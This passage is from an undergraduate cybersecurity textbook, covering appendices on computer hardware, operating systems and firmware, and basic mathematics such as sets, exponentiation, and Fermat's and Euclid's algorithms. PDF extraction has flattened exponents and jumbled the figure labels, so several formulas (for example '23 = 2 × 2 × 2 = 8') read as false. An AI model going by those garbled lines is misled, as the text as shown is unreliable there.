21 22 23 24 25 21 22 23 24 25

Physical blocks 1 2 3 4 5 16 2 3 4 13
in SSD store
6 7 8 9 10 6 7 8 9 10

11 12 13 14 15 11 12 5 14 15

16 17 18 19 20 1 17 18 21 20

21 22 23 24 25 19 22 23 24 25

Fig. A.4 Wear levelling in an SSD

port are often called USB keys. In 2023 they can have capacities up to 2 TByte, and
are widely used as storage units for local backup and similar tasks. Some brands of
USB key have built-in facilities for encryption of the stored data, either by software
or hardware, to preserve confidentiality. This is particularly important for small units
of this type, as there is a continual risk of losing them without noticing.
Memory cards are found in several formats and are used in mobile phones, digital
cameras, tablets and other digital apparatus. A particularly common type is the Secure
Digital (SD) card, which is available in three formats: Standard, Mini and Micro and
four possible technologies, which give the possibility of different capacities:
SDSC: (SD Standard Capacity), the oldest type, used for cards with a capacity
between 1 MByte and 2 GByte.
SDHC: (SD High Capacity) for capacities between 2 GByte and 32 GByte.
SDXC: (SD eXtended Capacity) for capacities between 32 GByte and 2 TByte.
SDUC: (SD Ultra Capacity) for capacities between 2 TByte and 128 TByte.

Fig. A.5 Standard formats

15.0 mm

for Standard (left) and Micro

(right) SD memory cards
32.0 mm

11.0 mm

24.0 mm
A.1 Hardware 387

In addition to units which are actually used for storage of data, and where it
is therefore quite natural that they look like disk units, there are also a number of
units which are not really used for storing data as such, but which, when they are
connected to a computer, look like disks anyway. As most operating systems allow
you to connect disk units in a simple way, this makes life easy for the user. A typical
example is some special printers for design and printing of labels with the help of
built-in software.

A.1.2 Input and Output (I/O) Units

It would be meaningless to have a computer which you could not give some data to
process or get some results out of. Almost all small computers nowadays offer the
user a graphic user interface with a screen to display output from the computer, and
one or more human-oriented input units. Most PCs, for example, have a keyboard
for input and a mouse or stylus as a device to control the position of the cursor on the
screen. Some mice can be programmed to perform more complex functions than just
moving the cursor. Small computers such as tablets and smartphones often have no
physical keyboard or mouse, but instead have a touch sensitive screen, which can be
used to type in data and control what the computer does. User-oriented units for input
and output are often as a group called MMI units, where MMI is an abbreviation for
Man-machine interface.
The screen, keyboard and pointing device can be built into the box (typically in
laptop computers, tablets and smartphones) or lie outside (typically in stationary PCs
and similar). If they lie outside, they can be connected with the computer by a cable
or via a wireless connection. Wireless connections can be monitored by outsiders and
are therefore potentially a security risk. The actual images on the screen are in most
modern computers produced by a GPU in the processor or a separate graphics card
which contains a GPU and which is connected to the computer’s internal network.
A solution with a separate graphics card is especially popular with people who play
computer games, and those who need to see live pictures of high quality.
Both stationary PCs and older laptop computers also contain a unit for reading
CDs, DVDs or BluRay disks, which can be used for installation of software and
for audio-visual media with music, photos or films. In many cases the device also
enables you to write on these media, which is a practical way to keep backups. In
smaller computers there is not usually room for such large units, and the user must
make do with SD cards or flash drives for this purpose.
If the user is to have any enjoyment from these media, the computer must also
contain units for recording and playing sounds. This means there must be a separate
sound card connected to the computers internal network, or else that the CPU itself
has built-in electronics for this purpose. Just like with graphics cards, a solution with
a separate sound card is often preferred by people who demand high quality.
As security requirements for computers attract more and more attention, it be-
comes commoner to install security devices in the computer, especially to prevent
388 A What’s in the Box?

unauthorised persons from using the machine. Equipment for this purpose is usually
based on measurement of biometric properties of a person, in order to be able to iden-
tify him or her. The most common units today are a camera to register appearance
and a fingerprint reader. A person is prevented from logging in on the computer, if he
or she does not have the same appearance as an authorised user and/or a fingerprint
which matches an authorised user’s print. We look more closely at some of these
biometric devices in Chap. 9.

A.1.3 Attachment of I/O Units

As can be seen from the previous section, there is often a choice between having
a built-in unit for a particular purpose and having an external unit which must be
attached by a cable. Built-in units are most often connected to the computer’s internal
network, but in practice not so directly as indicated in Fig. A.2. There is a simple
technical reason for this: most units (except very high-speed graphics units) work
at much lower speeds than the processor, and so they are placed on a subnet—a
bus—which offers a lower rate of data transfer. External units are often connected
in an even more indirect manner, on a subsubnet, such as a bus based on Universal
Serial Bus(USB) technology. A more complete, but still simplified, picture of the
architecture in a modern computer can be seen in Fig. A.6.
The CPU, memory and a fast graphics card, if any, are connected directly to a
fast bridge, often known as the memory control hub, while another bridge, the I/O
control hub, is used to connect a number of slower buses. Part of the reason for
having several buses is that units can have very different requirements for how they
are to be physically connected to the computer with plugs, and how they have to be
controlled electronically. We say they have different hardware interfaces. The figure
shows four buses:
• AGP bus, used to connect very fast graphics units.
• PCI bus, used to connect relatively fast units with their own cards, whose plugs
fit the PCI bus.
• SATA bus, used to connect disks and similar units which use a SATA interface.
• USB, used to connect units with a USB interface, such as printers, scanners,
photographic equipment, certain mice and keyboards, flash drives, external disks
etc., typically via sockets in the computer case. The sockets are connected to
an internal control unit (a USB-hub), which forms the midpoint in a star-shaped
network.
There are several more possibilities. Fast graphic units and fast network cards can
have an interface which suits a PCI Expressbus instead of an AGP bus. Disk units
are not all SATA disks; they can also be based on an IDE or PATA interface. The
USB standard offers (so far) four speed classes: USB 1.0 (1.5 or 12Mbit/s), 2.0 (up
to 480Mbit/s), 3.0 (up to 5Gbit/s), and 3.1 (up to 10Gbit/s), with slightly different
connection possibilities. The IEEE standard 1394 bus (known as Firewire) is an
A.1 Hardware 389

CPU

Control unit

ALU

CPU caches Memory

control hub

Graphics AGP bus

Bridge
unit
Input/output
control hub
Memory

PCI bus USB USB

Bridge
Control unit

Input Output Output

unit unit unit
USB USB USB
SATA bus unit unit unit

Disk Disk
unit unit

Fig. A.6 Schematic architecture of a modern computer

alternative type of bus for fast serial communication (up to 3.2Gbit/s), and is used
particularly for connection of audio-visual equipment such as video cameras and
displays. The I/O control hub can also be used for direct attachment of communication
equipment, and via an even slower subnet known as the LPC bus for attachment of
a keyboard, mouse or other units which use serial communication, if they cannot be
attached via the USB.

A.1.4 Communication Units

It is almost unthinkable today to have a computer which cannot communicate with

other computers. The huge majority of modern computers will therefore contain a
number of units intended for communication, for example via:
• The telephone network: Naturally a part of a mobile phone or smartphone. But
also in the form of a telephone modem, so the computer can communicate by
using a so-called dial-up service to an ISP.
390 A What’s in the Box?

• Cable-based local area networks (LAN): In a private home, company or insti-

tution, typically based on some variant of Ethernet technology.
• Wireless local area networks (WLAN): In a private home, company or institu-
tion, typically based on WiFi technology.
• Wireless personal neworks (PAN): Anywhere, typically based on Bluetooth or
similar technologies with a limited range.
• Nearfield communication (NFC): For communication over very short distances,
as in many payment and ticketing systems.
A number of communication technologies are discussed in Chap. 6 and the security
aspects of communication in Chap. 8.

A.1.5 Power Supplies

One last, but essential, unit in a computer is the power supply, which provides the
electronics with the necessary voltage and current. This may sound trivial, but a fault
in the power makes the computer unusable and can in some cases lead to serious
damage to the equipment. In a stationary computer, the two biggest threats are faults
in the electricity supply and breakdown in some of the internal electrical components
in the power supply itself. In mobile equipment, the power supply is primarily based
on batteries which have to be regularly re-charged.
The use of batteries presents a number of problems. For certain types of battery
(especially Lithium-ion (LiON) batteries), charging the battery is associated with
a risk of overheating of the battery, which can even cause it to catch fire. Careful
control of the charging process is therefore essential. Some forms of attack on mobile
equipment (typically smartphones or laptop computers) are based on stimulating the
equipment to excessive activity, so the battery rapidly loses its charge, and the
equipment therefore cannot operate.

A.2 Software

The computer’s software consists of all the programs which can be run on the
computer. They fall conceptually into three classes:
1. The control system, which deals with the general control of what happens in the
computer, in particular which programs run and when. In the majority of modern
computers, the control system is an operating system (OS), whose properties we
look at below.
2. System programs, which deal with useful general tasks, such as taking backup
copies and translating programs from human-readable computer languages to
sequences of instructions which the CPU can execute.
A.2 Software 391

3. Application programs (or in modern jargon just Apps), which perform tasks for
ordinary users.
Together with the computer’s hardware, these
Application
three classes of software make up a sort of hierarchy,
programs which is illustrated in Fig. A.7: each layer depends
on the layers beneath it. In the following section, we
look in turn at the individual classes.
System utilities

A.2.1 The Operating System

Operating System

The Operating System forms the basis on which ap-

Hardware plications can be built up: it hides the details of
the operation of the hardware and offers a uniform
Fig. A.7 The software hierarchy interface—a so-called Application Program Inter-
face, often called an API for short—which the actual
applications can match. An OS is therefore a funda-
mental software component in more or less all modern computers. The only common
exceptions are the small embedded computers which can be found in pieces of ap-
paratus, household equipment and the like. It is easy to see the advantages of having
such a uniform interface to applications, if you think that OSs such as Windows,
Linux and Android have to be able to run on many different hardware platforms. It
would be unbearable, if the developers had to adapt all their application programs
individually to each platform.
There are a very large number of different operating systems — Wikipedia, for
example, has a list of several hundred which have been in use at one time or another
since the 1960s [99]. These include OSs designed for general purpose use and OSs
for systems with special properties such as the ability to handle events with strict
timing requirements, mobility, or a high level of security, or which are designed for
specific computer architectures.
In spite of this variety, there are a number of features which appear in most of
them:
• Drivers, which handle the individual physical hardware units attached to the
system, so the users can avoid having to know the units’ design and internal
workings.
• Multiprogramming, which makes it possible for several programs to run simul-
taneously on the same hardware. This leads to a number of requirements for the
operating system, which must offer:
– Protection: User 𝐴’s program and data must not be able to disturb the execution
of user 𝐵’s program.
– Controlled access to the computer’s resources, such as:
· The CPU
· The storage units
392 A What’s in the Box?

· Input- and output units

· Networks
· Sharable programs, such as libraries of useful functions.
· Sharable data
• File systems, which make it possible to organise programs and data into indepen-
dent, named files, which are collected up in a hierarchy of named folders. A file
system’s software functions deal with keeping track of where on the disk there
is unused space in which things can be stored, and in general free the user from
having to deal directly with the computer’s disks.
• User control, so only authorised users can use the computer—and only for what
they are authorised to do.
• Handling the user interface, so the users can interact with the computer in a
(more or less) convenient manner.
• Logging of important events in the computer. Typically a number of files are used
to store information about user activity, updates, errors and other irregularities.
These topics are considered in more detail in Chap. 9.

A.2.2 Firmware

Most modern operating systems are large items of software, filling many gigabytes of
storage. It is therefore not practical to store the entire OS in the main memory of the
computer. Moreover, the main memory is usually constructed from semiconductor
components which are volatile, which means that its contents disappear if the power
is turned off. In practice, the OS has to be stored in non-volatile storage, such as a
disk, and will be loaded into the memory when the computer is “booted”, i.e. started
or restarted.
Here there is an obvious challenge: How is the OS to be fetched from the disk if
the main memory contains no software to operate the disk when the power is first
turned on? The common solution is to have a very simple piece of software which can
just perform very basic operations on the computer’s hardware units, and to embed
this software into non-volatile memory that is permanently built in to the computer’s
hardware. Such software embedded into hardware is commonly known as firmware.
To prevent unauthorised changes to this extremely basic (and critical) software, the
hardware units used for storing it are typically so-called Read-Only Memory (ROM)
units, whose contents are either impossible to change after manufacture or can only
be changed by using a special apparatus. The contents of such memory units do not
disappear when the power is turned off.
There are currently two styles of firmware for use in booting the OS on modern
computers. The oldest and simplest was developed for the very first IBM PCs in 1979,
and is known as a BIOS (short for Basic Input-Ouput System). The more modern
style is to use firmware which supports the Unified Extensible Firmware Interface
(UEFI)This is an industry standard developed by the Unified EFI Forum since 2012.
A.2 Software 393

As its name implies, it is a more flexible form of firmware, which amongst other
things offers the possibility of better security. The security aspacts of these two styles
of firmware are discussed in more detail in Chap. 9.

A.2.3 Utility Programs

Software utility programs, or (system) utilities are programs that can perform useful
functions which extend the naked OS, in order to make it easier to control the
operation of the computer or to develop application programs for the user. Some
simple examples:
• Programs for measuring the load on the compuuter and its use of resources.
• Programs for updating the computer’s software.
• Backup programs for making backup copies of programs and data.
• Antivirus programs.
• Encryption programs.
• Compilers and other tools for developing programs.
• Debuggers for analysing what happens when a program is run on the computer.
• Archive programs for making compressed archives of programs and data.
As OSs are typically delivered with a number of utiities as part of a package, it can
be hard to see where the boundaries lie between the utilities and the OS itself. Often
both are just called system programs.

A.2.4 Application Programs

Application Programs (“Apps”) make use of the OS (and the underlying hardware)
to perform a task for the user. As users differ a lot, it is in the nature of things that
some application programs will be generally useful, while others will be strongly
specialised. Some simple examples:
• Text processing programs, such as MS Word, Adobe Acrobat or LaTeX.
• Web browsers, for access to WWW, such as Firefox, Internet Explorer, Chrome
and Opera.
• Spreadsheet programs, such as MS Excel or OpenOffice calc.
• Games.
• Drawing programs, such as Corel Draw, inkscape or xfig.
• Image processing programs, such as Photoshop or gimp.
• Accounting programs.
• Protein analysis programs.
• Programs for engineering calculations.
• Programs for handling patient data in a doctor’s practice or a hospital.
• . . . and many more within other specialised areas.
394 A What’s in the Box?

It is characteristic that apps for smartphones and similar small units are often
more specialised than the applications which are used on larger computers. On a
mobile phone, you typically find an app which makes it possible for the user to log
on to Facebook and another app for Twitter and a third, for example, to read your
favourite newspaper online. Whereas on a large computer you have a web browser
application which you use to access all these services via their web addresses.

Many large applications, especially for adminis-

Presentation layer trative tasks such as bookkeeping, public administra-
(User input and
output: "UI")
tion, production control and so on, are organised in a
tiered architecture. Especially a 3-layer architecture,
like the one shown in Fig. A.8, is a popular choice.
Business layer Layering makes it easier to develop the individual
(Central calculations
parts of the application independently of one an-
and data checking)
other, with well-defined interfaces between the parts.
One could say it is a kind of divide-and-conquer pol-
Data layer icy for software development, which gives the de-
(Data storage, velopers better possibilities for understanding their
e.g. in database)
tasks, instead of developing the application in one
big lump.
Fig. A.8 A typical 3-layer appli-
cation architecture

Useful concepts which you should now know about

In this appendix, the following concepts were introduced:

• A CPU
• A storage unit
• A (computer) instruction
• A bus
• A control unit
• An ALU
• A core
• A GPU
• A cache store
• A CPU register
• An HDD
• An SSD
• A disk track
• A disk sector
• A memory card
• An I/O unit
• A hardware interface
• A power supply
• A control system
Exercises 395

• An operating system
• A system program
• An application program
You should check that you understand their definitions and can give examples of
contexts where they play a role.

Further Reading

A general introduction to computer systems and their constituents is Andrew S.

Tanenbaum’s “Structured Computer Organization”, now in its 6th. edition from
2012 [86]. An more detailed book about the architecture of the computer itself is Pat-
terson & Hennessy’s “Computer Organization and Design – The Hardware/Software
Interface”, now in its 6th. edition from 2020 [71].
After reading this appendix, you may be wondering why you need to know about
all this. The short answer is that, during a typical cyberattack, portions of data or
program code will be stored in various hardware components in the computer, and
this will affect the normal functioning of various software components in the system.
So it can be important to be aware of which components there might be. You will
find several concrete examples in other parts of the book, especially Chaps. 9 on
operating systems and 10 on software.

Exercises

A.1 What is in your box?

Investigate what you have in your own equipment, including as many of the following
items as you own or have access to:
1. Your stationary PC
2. Your laptop PC
3. Your mobile phone/smartphone
4. Your tablet
Try to be as precise in your description as possible—with respect to cybersecurity
there can be a big difference between various versions of an operating system or
various models of a smartphone. Try for each unit to give at least the following
information:
• Hardware: CPU, internal memory, disk units, MMI units, interfaces for attaching
external units, communication units, biometric units.
• Software: Operating system, software for text processing, drawing, image pro-
cessing, spreadsheets.
Appendix B
Mathematics

This appendix gives a short introduction to some of the mathematics which forms
the foundation for modern cryptography.

B.1 Basic Concepts

First: some basic concepts, which many readers have probably heard about at school,
but may have forgotten again:
Integer: A whole number, i.e. one which can be used to count things with. For
example: 3, 19, 73, 196, -5, -202 and 123456789 are all integers, whereas neither
3.456 or 1.41416 are integers. An integer is said to be positive if it is greater than 0,
negative if it is less than 0 and non-negative if is is 0 or greater.
Divisible integers: An integer 𝑎 is said to be divisible by another integer 𝑏 if there
is an integer 𝑐, so 𝑎 = 𝑏 × 𝑐. For example: 12 is divisible by 3, since 12 = 3 × 4.
An alternative way of expressing this is to say that 𝑏 divides into 𝑎—for example,
that 3 divides into 12.
Prime numbers: An integer 𝑎 is said to be a prime number, if it is bigger than 1
and is not divisible by integers other than 1 and 𝑎. For example: 3, 19 and 73 are all
prime numbers, whereas 196, -5 and -202 are not (196 is divisible by 2, 4, 7, 14, 28,
49 and 98, while -5 and -202 are smaller than 1.)
Factorisation: Dividing an integer up into a series of smaller integers—the integer’s
factors—which, if they are multiplied together, give the integer’s value. For example:
196 can be factorised in several ways, such as 28 × 7 or 49 × 4, and -202 can be
factorised as −2 × 101.
Prime factors: A positive integer’s prime factors are the collection of prime num-
bers, whose product is the integer’s value. For example: 196’s prime factors are
2, 2, 7, 7, since 196 = 2 × 2 × 7 × 7. As can be seen, the individual prime factors

© The Editor(s) (if applicable) and The Author(s), under exclusive license
to Springer Nature Switzerland AG 2024 397
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3
398 B Mathematics

can appear several times. If we ignore the order which the prime factors are written
in, there is for every positive integer a unique set of prime factors. This property of
integers is known as “the fundamental theorem of arithmetic”.
Sets: In mathematics, a set is a collection of distinct elements not containing any
duplicates. The elements may generally speaking be of any type: integers, real
numbers, logical values, matrices, geometrical figures, images, colours or whatever.
In simple cases, the elements (or “members”) of a set can be written out as a list
within curly brackets, {}. The order of the elements in the list has no significance.
For example:

𝐴 = {0, 1, 2, 3, 4, 5} 𝐵 = {𝑟𝑒𝑑, 𝑔𝑟𝑒𝑒𝑛, 𝑏𝑙𝑢𝑒}

define 𝐴 as a set of non-negative integers and 𝐵 as a set of primary colours. The

empty set, which has no elements, is written as {} or ∅. The cardinality of a set 𝑋,
written |𝑋 |, is the number of members of the set. So, for example: | 𝐴| = 6, |𝐵| = 3
and |∅| = 0.
The union of two sets 𝑋 and 𝑌 , written 𝑋 ∪ 𝑌 , is the set whose members are
members of 𝑋 or 𝑌 or both. Their intersection, written 𝑋 ∩ 𝑌 is the set whose
elements are members of both 𝑋 and 𝑌 . Their (set) difference, written 𝑋 \𝑌 or 𝑋 −𝑌 ,
is the set whose elements are members of 𝑋 but not of 𝑌 . For example:

{1, 2, 3, 4} ∪ {2, 4, 6} = {1, 2, 3, 4, 6}

{1, 2, 3, 4} ∩ {2, 4, 6} = {2, 4}
{1, 2, 3, 4} ∩ {5, 6, 7} = ∅
{1, 2, 3, 4} − {2, 4, 6} = {1, 3}

The symbol ∈ (pronounced “is a member of”) is used to make logical statements
about membership of a set. For example: 3 ∈ 𝐴 means “3 is a member of 𝐴", which
is a true statement, while yellow ∈ 𝐵 means “yellow is a member of 𝐵”, which is
false. The symbol ∉, pronounced “is not a member of” is correspondingly used to
make statements about non-membership.
The symbols ⊂ and ⊆ are used to make logical statements about containment of
one set in another. If all the members of a set 𝑋 are also members of a set 𝑌 , then we
say that 𝑋 is a subset of 𝑌 . It is conventional to distinguish between two variations
of this: If 𝑌 contains all the elements in 𝑋 and also one or more elements which are
not in 𝑋, then we say that “𝑋 is a proper subset of 𝑌 ”, written 𝑋 ⊂ 𝑌 . If we accept
that 𝑋 can be equal to 𝑌 , we just say that “𝑋 is a subset of 𝑌 ”, written 𝑋 ⊆ 𝑌 . Note
that if 𝑋 ⊂ 𝑌 then it is also true that 𝑋 ⊆ 𝑌 . So for example:

{1, 2, 3} ⊂ {1, 2, 3, 4, 6} is true

{1, 2, 3, 5} ⊂ {1, 2, 3, 4, 6} is false
{1, 2, 3} ⊆ {1, 2, 3} is true
{1, 2, 3} ⊂ {1, 2, 3} is false
∅ ⊆ {1, 2, 3} is true
∅ ⊆ ∅ is true
B.1 Basic Concepts 399

The last two statements here may seem strange, but the point is that the empty set is
regarded as a subset of all other sets, including itself.
Functions: A function describes the relationship between members of a set of
inputs, say 𝑋, to members of a set of possible outputs, say 𝑌 . The set of possible
inputs is known as the function’s domain and the set of possible outputs as the
function’s co-domain. Then we can define the function by giving the rule which
identifies the element in 𝑌 which will be the output when the input is a particular
element, 𝑥, of 𝑋.
For example: The function definition 𝑓 (𝑥) = 2𝑥 defines a function whose output
is the integer which is twice as large as the value of the input, while 𝑓 (𝑥) = 2𝑥 + 1
gives as output the integer which is one larger than twice the input value. Such
relationships are often visualised by drawing the graph of the function which shows
the correspondance between each of the elements in the set of inputs and the relevant
output. An example can be seen in Fig. B.1.

Y
f(x)=2x+1 0
1
X 2
10
3
1 4
5 16
2 19
8
6
3
7
14 18
4
15
9
5 12
11
13
17

Fig. B.1 Graph of the function 𝑓 ( 𝑥) = 2𝑥 + 1 with domain the set of integers {1, 2, 3, 4, 5} and
co-domain the set of all non-negative integers less than 20.

The element 𝑓 (𝑥) in the codomain is often known as the image of 𝑥 (under 𝑓 ) or
the value of 𝑓 at 𝑥 and the set of images for all the elements in the domain is known
as the image of the function 𝑓 . For example: In the figure, 7 is the image of 3, and
the image of 𝑓 is the set of integers {3, 5, 7, 9, 11}. By definition, since 𝑓 (𝑥) is a
function, each element in its domain has at most one image. This means that 𝑓 (𝑥)
for a given 𝑥 can only produce a unique output, if any output is defined for it at all. In
fact, in the example in the figure, all the elements in the domain have one image, as
𝑓 is a so-called total function, but in other cases some of the elements in the domain
may not have any outputs defined—for example, the function 𝑓 (𝑥) = 1/𝑥 over the
domain of integers has no defined value at 𝑥 = 0.
400 B Mathematics

Whereas 𝑓 (𝑥) will always give the same output for a given 𝑥, a given output 𝑦 can
be produced by several different inputs. (There is an example of this in Fig. 5.2.) The
set of elements in the domain which produces a particular output 𝑦 is known as the
pre-image of 𝑦 under 𝑓 . This set can contain zero or any number of elements. The
union of all pre-images is known as the pre-image of 𝑓 . For example: In Fig. B.1,
{3} is the pre-image of 7, and the pre-image of 𝑓 is the set {1, 2, 3, 4, 5}.
A function 𝑓 is said to be linear if the output is constant or proportional to (all
the) input variable(s) and non-linear otherwise. So, for example:

𝑓 (𝑥) = 2𝑥 + 1 is linear
𝑓 (𝑥, 𝑦) = −3𝑥 + 6𝑦 is linear
𝑓 (𝑥) = 𝑥2 is non-linear
𝑓 (𝑥, 𝑦) = 𝑥 2 + 2𝑦 + 1 is non-linear

Exponentiation: Denoted typically in the form 𝑏 𝑒 , where 𝑏 is known as the base

and 𝑒 as the exponent. When the exponent 𝑒 is an integer, this corresponds to the
product of 𝑒 copies of 𝑏:
𝑏4 = 𝑏 × 𝑏 × 𝑏 × 𝑏
So, for example:
23 = 2 × 2 × 2 =8
4
2 = 2 × 2 × 2 × 2 = 16
When 𝑒 is an integer, it is often called the power to which 𝑏 is raised. So 𝑏 𝑒 is often
called “𝑏 raised to the power 𝑒” or “the 𝑒’th power of 𝑏”, or even just “𝑏 to the 𝑒’th”.
Exponentiation has a number of properties which are important to remember:

𝑏 𝑚 × 𝑏 𝑛 = 𝑏 𝑚+𝑛 e.g. 23 × 24 = 27 = 128

𝑏 −𝑛 = 1/𝑏 𝑛 e.g. 2−3 = 1/8
𝑏0 = 1 If 𝑏 > 0
𝑚 𝑛
(𝑏 ) = 𝑏 𝑚×𝑛
e.g. (23 ) 4 = 212 = 4096
(𝑏 × 𝑐) 𝑒 = 𝑏 𝑒 × 𝑐 𝑒 e.g. (2 × 3) 4 = 24 × 34 = 1296

More generally, neither the base nor the exponent need to be integers, but we only
need this generality for very few of the examples in this book. The most important
case is where the exponent is 1/2. For any non-negative number
√ (integer or non-
integer) 𝑥, 𝑥 1/2 denotes the square root of 𝑥, often written 𝑥. This is the number
which, multiplied by itself, gives 𝑥. For example:

31/2 × 31/2 = 3
4.7131/2 × 4.7131/2 = 4.713

Number systems: Everybody knows the decimal number system, where integers
are written as sequences of decimal digits (0, 1, 2, 3, 4, 5, 6, 7, 8, 9). For the integers
B.2 Fermat’s Factorisation Algorithm 401

which you meet in daily life, if there is more than one digit in the number, the
individual digits are weighted from right to left with increasing powers of 10. For
example:

123 = 3 × 100 + 2 × 101 + 1 × 102

2857 = 7 × 100 + 5 × 101 + 8 × 102 + 2 × 103

This way of systematically weighting the digits according to their position in the
number is known as a positional number system.
People who work with IT often use other number systems than the decimal system.
For example, positive integers in a positional binary number system are written as
sequences of binary digits (0,1), weighted from right to left with increasing powers
of 2. For example:

110 = 0 × 20 + 1 × 21 + 1 × 22 equal to decimal value 6

0 1 2 3
1101 = 1 × 2 + 0 × 2 + 1 × 2 + 1 × 2 equal to decimal value 13

Another commonly used system is the positional hexadecimal number system,

where the integers are written as sequences of hexadecimal digits (0, 1, 2, 3, 4, 5,
6, 7, 8, 9, a, b, c, d, e, f), where the letters a-f (or A-F) represent digits with values
10-15. In this case the digits are weighted from right to left with increasing powers
of 16. For example:

8𝑎 = 10 × 160 + 8 × 161 equal to decimal value 138

0 1 2 3
7 𝑓 𝑓 𝑒 = 14 × 16 + 15 × 16 + 15 × 16 + 7 × 16 equal to decimal value 32766

This notation can unfortunately be ambiguous, if the number does not contain any of
the digits a-f. For example: Is the number 1234 a decimal number or a hexadecimal
number? To avoid this confusion, hexadecimal numbers are often written with a
prefix of the two characters “0x”, so hexadecimal number 1234 would be written
0x1234, whereas the decimal number 1234 would be written without a prefix.

B.2 Fermat’s Factorisation Algorithm

Fermat’s factorisation algorithm is a method for factorising odd integers, based on

the fact that any odd integer 𝑛 can be represented as the difference between the
squares of two integers, 𝑎 and 𝑏, where 𝑎 > 𝑏:

𝑛 = 𝑎2 − 𝑏2 (B.1)
402 B Mathematics

and the difference of two squares can always be factorised as (𝑎 + 𝑏) × (𝑎 − 𝑏). It

follows from Equation B.1 that 𝑏 2 = 𝑎 2 − 𝑛. The algorithm to find 𝑎 and 𝑏 can be
formulated as shown in Algorithm B.1.

Algorithm B.1 (Fermat’s Factorisation Algorithm)

Step 1: Take as the first estimate of 𝑎 the smallest integer larger than or equal to the
square root of 𝑛.
Step 2: Check
√ whether 𝑎 2 − 𝑛 is the square of an integer. If it is, proceed to Step 3
with 𝑏 = 𝑎 2 − 𝑛. If it is not, increase 𝑎 by 1 and repeat Step 2.
Step 3: The algorithm terminates. The factors are the final values of (𝑎 + 𝑏) and
(𝑎 − 𝑏).
An example: Factorisation of 16802209.
The square root of 16802209 is (roughly) 4099.05, so the initial estimate of 𝑎 is
4100. The progress of the algorithm is then:

𝑎 𝑎 2 𝑎 2 − 𝑛 square? 𝑏
4100 16810000 7791 𝑛𝑜
4101 16818201 15992 𝑛𝑜
4102 16826404 24195 𝑛𝑜
4103 16834609 32400 𝑦𝑒𝑠 180

The factors are (𝑎 + 𝑏) = 4283 and (𝑎 − 𝑏) = 3923, so:

16802209 = 4283 × 3923

Fermat’s algorithm is efficient, even for large values of 𝑛, as long as the factors
are quite close to the square root of 𝑛. If they are not, it can take very many iterations
of Step 2 before the result is found. For example, while Fermat factorisation of
16802209 only takes 4 iterations of Step 2, factorisation of 219073, whose prime
factors are 3001 and 73, takes 1069 iterations, even though it is much smaller than
16802209.
The basic algorithm can be optimised in a number of ways, using various math-
ematical tricks. For example, a direct way to decide whether 𝑎 2 − 𝑛 is the square of
an integer is to evaluate the square root of 𝑎 2 − 𝑛 and see whether it in fact is an
integer. This is often a time-consuming operation, but if a number 𝑥 is the square
of an integer, then (𝑥 mod 𝑚) for any integer modulus 𝑚 can only take on certain
values. For example, if 𝑚 = 20, then (𝑥 mod 𝑚) can only have one of the values 0,
1, 4, 5, 9, or 16. If it has any other value, then 𝑥 is definitely not a squared integer.
This makes it possible to eliminate 14/20 (70%) of the possible candidates without
having to evaluate their square roots at all. More complex optimisations lead to even
faster algorithms, such as the Quadratic Sieve and Number Field Sieve, currently
the fastest algorithms for finding the prime factors of large integers such as the RSA
numbers discussed in Chap. 4.
B.3 Euclid’s Algorithm 403

B.3 Euclid’s Algorithm

Euclid’s algorithm is used to find the greatest common divisor (or “greatest common
factor”) of two integers—that is to say, the biggest integer which divides into both
numbers without leaving a remainder. This is especially useful if you need to find out
whether two integers are mutual prime numbers (often just known as mutual primes
or coprimes). If they are, then they have no common factors apart from the trivial
factor 1. Note that this does not mean that the two numbers themselves are prime
numbers: the two numbers 6 and 25 have no common factors, but neither 6 (= 3 × 2)
nor 25 (= 5 × 5) are prime numbers.
The algorithm is antique. It is described in volume 7 of Euclid’s “Elements”,
which was written about 300 BC. To understand the algorithm, you need to remember
that every integer can be written in the form:

𝑎 = 𝑘 ×𝑏+𝑟

where 𝑘, 𝑏 and 𝑟 are all integers. So integer division of 𝑎 by 𝑏 gives an integer

quotient 𝑘 and an integer remainder 𝑟, where 𝑟 < 𝑏. For example: if 𝑎 = 30 and
𝑏 = 12, then it is the case that:

30 = 2 × 12 + 6

so the quotient 𝑘 is 2 and the remainder 𝑟 is 6. The classical formulation of the

algorithm is shown in Algorithm B.2.

Algorithm B.2 (Euclid’s Algorithm)

Step 1: Given two positive integers, 𝑎 and 𝑏, divide the larger one by the smaller
one using integer division to find the quotient 𝑘 1 and remainder 𝑟 1 .
Step 𝑖 (for 𝑖 > 1): If the remainder from the previous step, 𝑟 𝑖−1 , is 0, proceed to
Termination. Otherwise divide the divisor from step (𝑖 − 1) by the remainder from
step (i-1) to get a new remainder 𝑟 𝑖 . Then proceed in the same way for the next value
of 𝑖.
Termination: The divisor 𝑏 𝑖−1 from the latest step is the greatest common divisor
of 𝑎 and 𝑏.

An example: where we use the notation gcd(𝑎, 𝑏) to denote the greatest common
divisor of 𝑎 and 𝑏:
gcd(27, 12) = gcd(2 × 12 + 3, 12)
Here the divisor is 12 and the remainder 𝑟 = 3. In the next step we evaluate:
gcd(12, 3) = gcd(4 × 3 + 0, 3)

Here the divisor is 3 and the remainder 𝑟 = 0. The algorithm terminates. The result
is the value of the latest divisor, namely 3.
404 B Mathematics

A further example, with somewhat larger numbers:

gcd(7592, 5913) = gcd(1 × 5913 + 1679, 5913)
Here the divisor is 5913 and the remainder 𝑟 = 1679. In the next step we evaluate:
gcd(5913, 1679) = gcd(3 × 1679 + 876, 1679)
Here the divisor is 1679 and the remainder 𝑟 = 876. In the next step we evaluate:
gcd(1679, 876) = gcd(1 × 876 + 803, 876)
Here the divisor is 876 and the remainder 𝑟 = 803. In the next step we evaluate:
gcd(876, 803) = gcd(1 × 803 + 73, 803)
Here the divisor is 803 and the remainder 𝑟 = 73. In the next step we evaluate:
gcd(803, 73) = gcd(11 × 73 + 0, 73)

Here the divisor is 73 and the remainder 𝑟 = 0. The algorithm terminates. The result
is the value of the latest divisor, namely 73.

B.4 Euclid’s Extended Algorithm

Euclid’s algorithm can be used to test whether a positive integer 𝑎 has an inverse
modulo 𝑚, as it will then be the case that gcd(𝑎, 𝑚) = 1. But this doesn’t help us to
find the inverse, if it turns out to exist. Euclid’s extended algorithm extends Euclid’s
algorithm, so we can calculate the inverse. More specifically the algorithm takes two
positive integers 𝑎 and 𝑏 as input and evaluates 𝑑 = gcd(𝑎, 𝑏) together with two
integers, 𝑥 and 𝑦, such that:

gcd(𝑎, 𝑏) = 𝑎 × 𝑥 + 𝑏 × 𝑦

